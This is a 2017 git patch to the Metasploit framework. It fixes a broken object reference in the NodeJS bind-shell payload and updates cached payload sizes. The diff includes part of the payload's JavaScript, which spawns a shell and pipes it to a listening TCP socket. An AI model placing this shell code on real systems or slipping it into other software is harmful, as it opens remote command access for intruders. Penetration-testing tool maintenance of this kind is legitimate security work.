From b76c1f36471967c687f163c1df08c81b7020cf2c Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 11 Oct 2017 11:09:28 -0500 Subject: [PATCH] remove invalid 'client' object reference in nodejs fix #9063 by removing invalid object reference introduced in PR #8825 --- lib/msf/core/payload/nodejs.rb | 8 ++++---- modules/payloads/singles/cmd/unix/bind_nodejs.rb | 2 +- modules/payloads/singles/nodejs/shell_bind_tcp.rb | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/nodejs.rb b/lib/msf/core/payload/nodejs.rb index 1787080721..9aa0fc33d3 100644 --- a/lib/msf/core/payload/nodejs.rb +++ b/lib/msf/core/payload/nodejs.rb @@ -19,11 +19,11 @@ module Msf::Payload::NodeJS var sh = cp.spawn(cmd, []); socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { - sh.stdout.pipe(client.socket); - sh.stderr.pipe(client.socket); + sh.stdout.pipe(socket); + sh.stderr.pipe(socket); } else { - util.pump(sh.stdout, client.socket); - util.pump(sh.stderr, client.socket); + util.pump(sh.stdout, socket); + util.pump(sh.stderr, socket); } }); server.listen(#{datastore['LPORT']}); diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb index 20da3cc306..7869b0d1d1 100644 --- a/modules/payloads/singles/cmd/unix/bind_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 2351 + CachedSize = 2239 include Msf::Payload::Single include Msf::Payload::NodeJS diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb index 9791edb88f..1df1797372 100644 --- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell' module MetasploitModule - CachedSize = 583 + CachedSize = 555 include Msf::Payload::Single include Msf::Payload::NodeJS